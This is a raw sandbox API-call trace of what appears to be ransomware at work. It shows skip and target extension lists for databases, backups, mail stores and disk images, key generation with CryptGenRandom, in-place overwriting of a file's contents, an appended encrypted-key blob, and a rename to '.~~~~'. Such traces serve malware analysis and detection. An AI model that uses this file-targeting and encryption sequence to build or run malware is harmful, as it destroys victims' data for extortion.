	[0073.071] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msc") returned 0x0
	[0073.071] lstrlenW (lpString=".com") returned 4
	[0073.071] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\..", lpSrch=".com") returned 0x0
	[0073.071] lstrlenW (lpString=".lnk") returned 4
	[0073.071] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\..", lpSrch=".lnk") returned 0x0
	[0073.071] lstrlenW (lpString=".msp") returned 4
	[0073.072] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msp") returned 0x0
	[0073.072] lstrlenW (lpString=".pif") returned 4
	[0073.072] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\..", lpSrch=".pif") returned 0x0
	[0073.072] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0073.072] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0073.072] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0073.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbf50 | out: hHeap=0x300000) returned 1
	[0073.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0073.072] RtlWakeConditionVariable () returned 0x365f70
	[0073.072] GetCurrentThreadId () returned 0xaf0
	[0073.072] GetCurrentThreadId () returned 0xaf0
	[0073.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0073.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7300 | out: hHeap=0x300000) returned 1
	[0073.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e1b8 | out: hHeap=0x300000) returned 1
	[0073.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7300
	[0073.072] lstrlenW (lpString=".scr") returned 4
	[0073.072] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".scr") returned 0x0
	[0073.072] lstrlenW (lpString=".cmd") returned 4
	[0073.072] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".cmd") returned 0x0
	[0073.072] lstrlenW (lpString=".dll") returned 4
	[0073.072] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".dll") returned 0x0
	[0073.073] lstrlenW (lpString=".bat") returned 4
	[0073.073] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".bat") returned 0x0
	[0073.073] lstrlenW (lpString=".cpl") returned 4
	[0073.073] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".cpl") returned 0x0
	[0073.073] lstrlenW (lpString=".sys") returned 4
	[0073.073] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".sys") returned 0x0
	[0073.073] lstrlenW (lpString=".msc") returned 4
	[0073.073] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".msc") returned 0x0
	[0073.073] lstrlenW (lpString=".com") returned 4
	[0073.073] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".com") returned 0x0
	[0073.073] lstrlenW (lpString=".lnk") returned 4
	[0073.073] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".lnk") returned 0x0
	[0073.073] lstrlenW (lpString=".msp") returned 4
	[0073.073] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".msp") returned 0x0
	[0073.073] lstrlenW (lpString=".pif") returned 4
	[0073.073] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".pif") returned 0x0
	[0073.073] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0073.073] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0073.073] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0073.075] lstrlenW (lpString=".sqb") returned 4
	[0073.075] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".sqb") returned 0x0
	[0073.075] lstrlenW (lpString=".ost") returned 4
	[0073.075] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".ost") returned 0x0
	[0073.075] lstrlenW (lpString=".txt") returned 4
	[0073.075] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".txt") returned 0x0
	[0073.075] lstrlenW (lpString=".mdt") returned 4
	[0073.075] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".mdt") returned 0x0
	[0073.075] lstrlenW (lpString=".BDB") returned 4
	[0073.075] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".BDB") returned 0x0
	[0073.075] lstrlenW (lpString=".eql") returned 4
	[0073.075] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".eql") returned 0x0
	[0073.075] lstrlenW (lpString=".DBF") returned 4
	[0073.075] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".DBF") returned 0x0
	[0073.075] lstrlenW (lpString=".EQL") returned 4
	[0073.075] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".EQL") returned 0x0
	[0073.075] lstrlenW (lpString=".FDB") returned 4
	[0073.075] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".FDB") returned 0x0
	[0073.075] lstrlenW (lpString=".EDB") returned 4
	[0073.075] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".EDB") returned 0x0
	[0073.075] lstrlenW (lpString=".DACPAC") returned 7
	[0073.075] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".DACPAC") returned 0x0
	[0073.076] lstrlenW (lpString=".VHD") returned 4
	[0073.076] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".VHD") returned 0x0
	[0073.076] lstrlenW (lpString=".DBV") returned 4
	[0073.076] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".DBV") returned 0x0
	[0073.076] lstrlenW (lpString=".dacpac") returned 7
	[0073.076] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".dacpac") returned 0x0
	[0073.076] lstrlenW (lpString=".sdf") returned 4
	[0073.076] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".sdf") returned 0x0
	[0073.076] lstrlenW (lpString=".accdb") returned 6
	[0073.076] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".accdb") returned 0x0
	[0073.076] lstrlenW (lpString=".DBX") returned 4
	[0073.076] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".DBX") returned 0x0
	[0073.076] lstrlenW (lpString=".MDT") returned 4
	[0073.076] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".MDT") returned 0x0
	[0073.076] lstrlenW (lpString=".SQB") returned 4
	[0073.076] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".SQB") returned 0x0
	[0073.076] lstrlenW (lpString=".vhd") returned 4
	[0073.076] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".vhd") returned 0x0
	[0073.076] lstrlenW (lpString=".bac") returned 4
	[0073.076] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".bac") returned 0x0
	[0073.076] lstrlenW (lpString=".mdf") returned 4
	[0073.076] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".mdf") returned 0x0
	[0073.076] lstrlenW (lpString=".BAK") returned 4
	[0073.076] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".BAK") returned 0x0
	[0073.076] lstrlenW (lpString=".BAC") returned 4
	[0073.077] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".BAC") returned 0x0
	[0073.077] lstrlenW (lpString=".dbs") returned 4
	[0073.077] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".dbs") returned 0x0
	[0073.077] lstrlenW (lpString=".vhdx") returned 5
	[0073.077] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".vhdx") returned 0x0
	[0073.077] lstrlenW (lpString=".NDF") returned 4
	[0073.077] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".NDF") returned 0x0
	[0073.077] lstrlenW (lpString=".dat") returned 4
	[0073.077] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".dat") returned 0x0
	[0073.077] lstrlenW (lpString=".DBS") returned 4
	[0073.077] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".DBS") returned 0x0
	[0073.077] lstrlenW (lpString=".CKP") returned 4
	[0073.077] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".CKP") returned 0x0
	[0073.077] lstrlenW (lpString=".edb") returned 4
	[0073.077] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".edb") returned 0x0
	[0073.077] lstrlenW (lpString=".PST") returned 4
	[0073.077] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".PST") returned 0x0
	[0073.077] lstrlenW (lpString=".dbf") returned 4
	[0073.077] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".dbf") returned 0x0
	[0073.077] lstrlenW (lpString=".SQL") returned 4
	[0073.077] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".SQL") returned 0x0
	[0073.077] lstrlenW (lpString=".pst") returned 4
	[0073.077] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".pst") returned 0x0
	[0073.077] lstrlenW (lpString=".dbv") returned 4
	[0073.078] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".dbv") returned 0x0
	[0073.078] lstrlenW (lpString=".SDF") returned 4
	[0073.078] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".SDF") returned 0x0
	[0073.078] lstrlenW (lpString=".dtxs") returned 5
	[0073.078] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".dtxs") returned 0x0
	[0073.078] lstrlenW (lpString=".db3") returned 4
	[0073.078] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".db3") returned 0x0
	[0073.078] lstrlenW (lpString=".OST") returned 4
	[0073.078] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".OST") returned 0x0
	[0073.078] lstrlenW (lpString=".dbx") returned 4
	[0073.078] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".dbx") returned 0x0
	[0073.078] lstrlenW (lpString=".DB3") returned 4
	[0073.078] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".DB3") returned 0x0
	[0073.078] lstrlenW (lpString=".DAT") returned 4
	[0073.078] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".DAT") returned 0x0
	[0073.078] lstrlenW (lpString=".VHDX") returned 5
	[0073.078] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".VHDX") returned 0x0
	[0073.078] lstrlenW (lpString=".ndf") returned 4
	[0073.078] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".ndf") returned 0x0
	[0073.078] lstrlenW (lpString=".DB") returned 3
	[0073.078] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".DB") returned 0x0
	[0073.078] lstrlenW (lpString=".sql") returned 4
	[0073.078] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".sql") returned 0x0
	[0073.078] lstrlenW (lpString=".MYD") returned 4
	[0073.079] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".MYD") returned 0x0
	[0073.079] lstrlenW (lpString=".DBT") returned 4
	[0073.370] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".DBT") returned 0x0
	[0073.370] lstrlenW (lpString=".ACCDB") returned 6
	[0073.370] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".ACCDB") returned 0x0
	[0073.370] lstrlenW (lpString=".fdb") returned 4
	[0073.370] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".fdb") returned 0x0
	[0073.370] lstrlenW (lpString=".bak") returned 4
	[0073.370] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".bak") returned 0x0
	[0073.371] lstrlenW (lpString=".myd") returned 4
	[0073.371] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".myd") returned 0x0
	[0073.371] lstrlenW (lpString=".DTXS") returned 5
	[0073.371] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".DTXS") returned 0x0
	[0073.371] lstrlenW (lpString=".ckp") returned 4
	[0073.371] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".ckp") returned 0x0
	[0073.371] lstrlenW (lpString=".dbt") returned 4
	[0073.371] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".dbt") returned 0x0
	[0073.371] lstrlenW (lpString=".db") returned 3
	[0073.371] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".db") returned 0x0
	[0073.371] lstrlenW (lpString=".TXT") returned 4
	[0073.371] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".TXT") returned 0x0
	[0073.371] lstrlenW (lpString=".MDF") returned 4
	[0073.371] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".MDF") returned 0x0
	[0073.371] lstrlenW (lpString=".bdb") returned 4
	[0073.371] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".bdb") returned 0x0
	[0073.371] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0073.371] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0073.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3fa6b8
	[0073.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0073.371] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0073.372] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0073.372] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0073.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0073.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0073.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3b24c8
	[0073.373] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19336272302) returned 1
	[0073.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x967e4650, dwHighDateTime=0x1d60e1e)) 
	[0073.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0073.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0073.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0073.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e1b8
	[0073.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0073.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e1b8 | out: hHeap=0x300000) returned 1
	[0073.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3a2fa8
	[0073.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0073.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7258
	[0073.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2fa8 | out: hHeap=0x300000) returned 1
	[0073.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0073.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7258 | out: hHeap=0x300000) returned 1
	[0073.373] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0073.373] GetLastError () returned 0x0
	[0073.373] SetLastError (dwErrCode=0x0) 
	[0073.376] GetLastError () returned 0x0
	[0073.376] SetLastError (dwErrCode=0x0) 
	[0073.376] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0073.376] GetLastError () returned 0x0
	[0073.377] SetLastError (dwErrCode=0x0) 
	[0073.377] GetLastError () returned 0x0
	[0073.377] SetLastError (dwErrCode=0x0) 
	[0073.377] GetLastError () returned 0x0
	[0073.377] SetLastError (dwErrCode=0x0) 
	[0073.377] GetLastError () returned 0x0
	[0073.377] SetLastError (dwErrCode=0x0) 
	[0073.377] GetLastError () returned 0x0
	[0073.377] SetLastError (dwErrCode=0x0) 
	[0073.377] GetLastError () returned 0x0
	[0073.377] SetLastError (dwErrCode=0x0) 
	[0073.377] GetLastError () returned 0x0
	[0073.377] SetLastError (dwErrCode=0x0) 
	[0073.377] GetLastError () returned 0x0
	[0073.377] SetLastError (dwErrCode=0x0) 
	[0073.377] GetLastError () returned 0x0
	[0073.377] SetLastError (dwErrCode=0x0) 
	[0073.377] GetLastError () returned 0x0
	[0073.377] SetLastError (dwErrCode=0x0) 
	[0073.377] GetLastError () returned 0x0
	[0073.378] SetLastError (dwErrCode=0x0) 
	[0073.378] GetLastError () returned 0x0
	[0073.378] SetLastError (dwErrCode=0x0) 
	[0073.378] GetLastError () returned 0x0
	[0073.378] SetLastError (dwErrCode=0x0) 
	[0073.378] GetLastError () returned 0x0
	[0073.378] SetLastError (dwErrCode=0x0) 
	[0073.378] GetLastError () returned 0x0
	[0073.378] SetLastError (dwErrCode=0x0) 
	[0073.378] GetLastError () returned 0x0
	[0073.378] SetLastError (dwErrCode=0x0) 
	[0073.378] GetLastError () returned 0x0
	[0073.378] SetLastError (dwErrCode=0x0) 
	[0073.378] GetLastError () returned 0x0
	[0073.378] SetLastError (dwErrCode=0x0) 
	[0073.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0073.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3c76e8
	[0073.378] ReadFile (in: hFile=0x11c, lpBuffer=0x3c76e8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3c76e8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0073.387] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0073.387] WriteFile (in: hFile=0x11c, lpBuffer=0x3c76e8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3c76e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0073.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c76e8 | out: hHeap=0x300000) returned 1
	[0073.389] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.389] WriteFile (in: hFile=0x11c, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0073.392] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0073.392] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0073.392] CloseHandle (hObject=0x11c) returned 1
	[0075.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0075.960] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.~~~~")) returned 1
	[0075.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0075.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0075.960] GetLastError () returned 0x0
	[0075.960] SetLastError (dwErrCode=0x0) 
